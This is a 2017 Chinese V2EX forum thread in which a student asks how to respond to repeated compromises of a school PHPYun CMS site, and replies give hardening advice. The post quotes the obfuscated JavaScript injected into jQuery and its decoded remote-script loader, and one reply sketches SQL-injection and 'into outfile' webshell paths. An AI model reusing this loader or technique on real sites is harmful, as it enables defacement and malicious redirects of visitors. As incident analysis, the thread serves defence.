V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
syncher
V2EX  ›  问与答

Apache 错误日志被灌满, 菜鸟被黑客欺负,求助

  •  1
     
  •   syncher · Jun 26, 2017 · 3105 views
    This topic created in 3227 days ago, the information mentioned may be changed or developed.

    问题描述

    这几天网站被黑客盯上了,因为安全做得不好,被黑客攻击了好几次。

    1. 第一次攻击是发上在一个月以前,黑客在首页引入的 jQuery-1.8.0.js 中写入一行 js 代码,
    var str="cnbtldms-vqhsd '!;rbqhos rqb<[!gsso9..vvv-  fnnfkd`crk-bnl.robncd.iptdqx-  
    ir[!=;.rbqhos=!(:";  
    var length=str.length;var ba64="";for(i=0;i<length;i++){var   
    s=str.charCodeAt(i);s++;ba64=ba64+String.fromCharCode(s)}eval(ba64); 
            
    

    翻译后是

    document.write ("<script src=\"http://www.googleadsl.com/spcode/jquery.js\"></script>")
    

    导致的结果是打开网站几秒后跳转到一个色情页面,页面太美,不忍直视。但是 ll 查看文件的时候并没有发下这个文件的修改时间异常,可笑的是当天的登陆日志被清空了,后来改了 root 账号的密码。
    2. 第二次攻击是发生在一周以后,攻击方式和第一次一样。
    3. 第三次攻击发生在上周。上周四早上打开一个页面的时候突然发现服务器 500 异常,然后登陆服务器查看站点目录, stat filename 发现站点下有一个目录下的所有文件均在该日凌晨 5:16 分左右被修改。打开内容一看,画面惨不忍睹。
    error.jpg 4. 最后一次被攻击是今天,今天网站有奔溃了,我也几乎要奔溃了(下周就要实习了,还有 5 门课程要复习)。连接服务器 df -h 发现磁盘满了,然后 du -h --max-depth=1 发现 /var/log/ 目录占用大量内存,进去查看发现 Apache 的错误日志有 25 个 G,tailhead一下,发现是我 PHP 没有配置时区报错,错误信息主要来自一个内网 IP。

    [Mon Jun 26 18:13:28 2017] [error] [client 202.118.80.240] PHP Warning:  mktime(): It  
    is not safe to rely on the system's timezone settings. You are *required* to use the   
    date.timezone setting or the date_default_timezone_set() function. In case you used   
    any of those methods and you are still getting this warning, you most likely  
    misspelled the timezone identifier. We selected 'Asia/Chongqing' for 'CST/8.0/no DST'  
    instead in /xxxxx/cal_day.php on line 163, referer: xxxxxx.com 
    
    [Mon Jun 26 18:13:28 2017] [error] [client 202.118.80.240] PHP Warning:  date(): It  
    is  not safe to rely on the system's timezone settings. You are *required* to use the   
    date.timezone setting or the date_default_timezone_set() function. In case you used   
    any of those methods and you are still getting this warning, you most likely   
    misspelled   the timezone identifier. We selected 'Asia/Chongqing' for 'CST/8.0/no   
    DST' instead in /xxxx/cal_header.inc.php on line 271, referer:  
    http://xxxx/cal_search.php
    
    

    解决方案

    1. 我一个做后端的小白面对这种安全问题基本是束手无策,被攻击后主要是靠恢复备份文件来解决的。
    2. 因为没有资金支持,所以只用免费的 web360 扫描过,给出的建议也基本做了(难过的是也没有技术大佬支持 org )。
    3. 数据库使用的是 root 账号,打算降低数据库的权限,改为普通账号。
    4. 防火墙策略限制了,只开放箱 80,8080 这些常用端口。ssh 学校总部限制了,外网一般连接不上服务器,查看登录日志页正常。

    真心求助

    真心希望各位大佬帮忙分析一下这可能是什么漏洞?该怎么进行防范?十分感谢。
    写得有点多,小白刚入坑,遇到这种问题各位看笑话了。因为网站是学校的,所以连接不敢随便放在这里,各位见谅。

    Supplement 1  ·  Jun 27, 2017

    安全建议总结

    感谢各位给出的建议,特别感谢@fucker的私下耐心的指导,在此对各位的建议做过简单总结。

    1. 重装系统。
    2. 不适用 root 账号跑web应用。web应用目录除了上传目录外设置为只读,可上传目录不让执行PHP文件。
    3. 因为使用的PHP版本为5.3.3所以开启魔术引号GPC(PHP 5.4开始GPC取消了),即php.ini中magic_quotes_gpc=On
    4. MySQL 每个库对应一个用户,权限也只给对应库的操作权限。
    5. ssh 使用key登陆。
    30 replies    2017-06-27 11:58:26 +08:00
    syncher
        1
    syncher  
    OP
       Jun 26, 2017 via Android
    没有大佬回复好桑心。。
    wsy2220
        2
    wsy2220  
       Jun 27, 2017 via Android
    服务器重装系统,用最新的发行版,经常更新
    ryd994
        3
    ryd994  
       Jun 27, 2017
    什么网站? Wordpress ?
    什么服务器? Apache?Nginx?
    什么数据库? MySQL ? MongoDB ?
    权限控制做了么?
    ssh 外网不能连不代表内网都是好人
    davidyin
        4
    davidyin  
       Jun 27, 2017
    从服务器重装开始做。
    syncher
        5
    syncher  
    OP
       Jun 27, 2017 via Android
    @ryd994 CMS 系统
    环境是 CentOS 7 + Apache + MySQL + PHP
    syncher
        6
    syncher  
    OP
       Jun 27, 2017 via Android
    @davidyin @wsy2220 谢谢
    herozzm
        7
    herozzm  
       Jun 27, 2017 via Android
    cms 可能有漏洞,漏洞没堵住,怎么装操作系统都没有用,cns 换成最新版本
    herozzm
        8
    herozzm  
       Jun 27, 2017 via Android
    cns=cms
    syncher
        9
    syncher  
    OP
       Jun 27, 2017 via Android
    @herozzm 嗯,从攻击来看应该是 XSS 攻击,更新版本是不太可能了。系统庞大而杂,领导让我们把一个系统的多个版本嵌在一起了,还有有很多小系统,小功能是自己开发的,升级不太现实了。
    des
        10
    des  
       Jun 27, 2017 via Android   ❤️ 1
    先重装,不要用 root 跑这些东西,www 目录除了可上传目录外只读,可上传目录不让 php 执行。

    如果可以的话用 selinux
    syncher
        11
    syncher  
    OP
       Jun 27, 2017 via Android
    @des 谢谢。
    fucker
        12
    fucker  
       Jun 27, 2017
    不一定是 root 账户失窃。
    看你描述,目测一下
    php 版本可能是 5.x,没做过滤, gpc=off,
    mysql 直接用 root 登录的吧
    网站目录权限 777 或 775
    如果真是 root 账户被盗取,那你肯定没有修改 sshd 监听端口

    建议:
    备份数据库,重新搭个环境啦。
    mysql 每个库对应一个用户,权限也只给对应库的操作权限
    php 建议开魔术引号,如果过滤做不好的话,一些危险的函数建议禁用,危险的操作一定要过滤或写死
    目录的话按照#10 @des 的建议没有问题
    修改 sshd 端口并上传公钥

    估计是黑客通过 注入+mysql / 上传 / 命令执行 的问题在你的 web 目录下生成了 webshell,然后你的 web 目录权限又不严谨,就直接挂广告了。可能是某黑产牛吧(瞎猜)。
    fucker
        13
    fucker  
       Jun 27, 2017
    #12 的回复没看到#5 =-= 瞎了,还自己目测了一遍,尴尬。
    楼主方便透露一下 cms 和它的版本信息吗
    fucker
        14
    fucker  
       Jun 27, 2017
    :cry: 也没有看到楼主自己说的 mysql 用 root 用户,我真的瞎了,看眼病去。。。
    syncher
        15
    syncher  
    OP
       Jun 27, 2017 via Android
    @fucker 先谢谢您。PHP 是 5.4 吧,是 5.x。MySQL 是用 root 登录的,回去我就修改,降低权限。网站根目录权限 700,属于 apache 用户,sshd 端口改了。回头按照您的建议加强防范
    syncher
        16
    syncher  
    OP
       Jun 27, 2017 via Android
    @fucker #13 PHP 云系统 1.0 和 4.0 组合使用
    fucker
        17
    fucker  
       Jun 27, 2017
    我又仔细看了一下帖子,现在估计可能是这样的
    1.cms 存在注入漏洞,黑客利用注入以及 php 的报错信息,获得了网站的物理路径,然后利用 mysql 的 ` select 0xXXXXX into outfile '/path/to/website' ` 得到了一个 webshell,从而控制网站。(最有可能)
    2.cms 存在注入漏洞 /任意文件读取,黑客通过注入 /任意文件读取(万一 CMS 作者是个极品,把帐号放配置文件里了呢)获得管理员帐号密码并扫描出后台,登录,上传 webshell (可能性略低)
    3.cms 存在命令执行漏洞,然后`echo >` 或 file_put_contents 得到 webshell (可能性最低)
    fucker
        18
    fucker  
       Jun 27, 2017
    @syncher PHP 云人才系统(PHPYun) 是这个 ?
    syncher
        19
    syncher  
    OP
       Jun 27, 2017 via Android
    @fucker 是的
    fucker
        20
    fucker  
       Jun 27, 2017
    @syncher 补一点
    前面你说“可笑的是当天的登陆日志被清空了,后来改了 root 账号的密码。”和“发现是我 PHP 没有配置时区报错,错误信息主要来自一个内网 IP。”,估计你们内网已经沦陷了。
    fucker
        21
    fucker  
       Jun 27, 2017
    @syncher 我 telegram https://telegram.me/ioLeon 方便的话联系我,详聊一下你的环境配置,我想复现一下
    msg7086
        22
    msg7086  
       Jun 27, 2017
    用 CentOS 我建议你先招一个懂的人。
    企业级的软件不是你抄起来就能搞的。
    root 权限跑应用?被黑了不重装?你逗我吗。
    Web Server 和 PHP 之类的 App stack 用低权限用户跑算是常识吧?
    服务器被黑了必须要整个重装并且源代码都全部重置回 Git 这也算是常识吧?
    syncher
        23
    syncher  
    OP
       Jun 27, 2017 via Android
    @fucker 可以的
    syncher
        24
    syncher  
    OP
       Jun 27, 2017 via Android
    @msg7086 好,学习了
    syncher
        25
    syncher  
    OP
       Jun 27, 2017 via Android
    @fucker 学校内网一直不平静,哈哈哈,一看就是大佬。
    bravecarrot
        26
    bravecarrot  
       Jun 27, 2017
    建议补完漏洞备份重装
    把你 openssh 的文件换了 你无论咋改 都可以用后门登录 root
    billion
        27
    billion  
       Jun 27, 2017
    ssh 不要用帐号密码登录,改为 ssh key 登录。
    Thoxvi
        28
    Thoxvi  
       Jun 27, 2017 via Android
    哈哈哈哈哈哈哈哈这个黑客真有意思
    syncher
        29
    syncher  
    OP
       Jun 27, 2017 via Android
    @billion 好的,感谢
    johnlui
        30
    johnlui  
       Jun 27, 2017
    中毒了当然要第一时间重装系统啦。。。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   1829 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 128ms · UTC 16:22 · PVG 00:22 · LAX 09:22 · JFK 12:22
    ♥ Do have faith in what you're doing.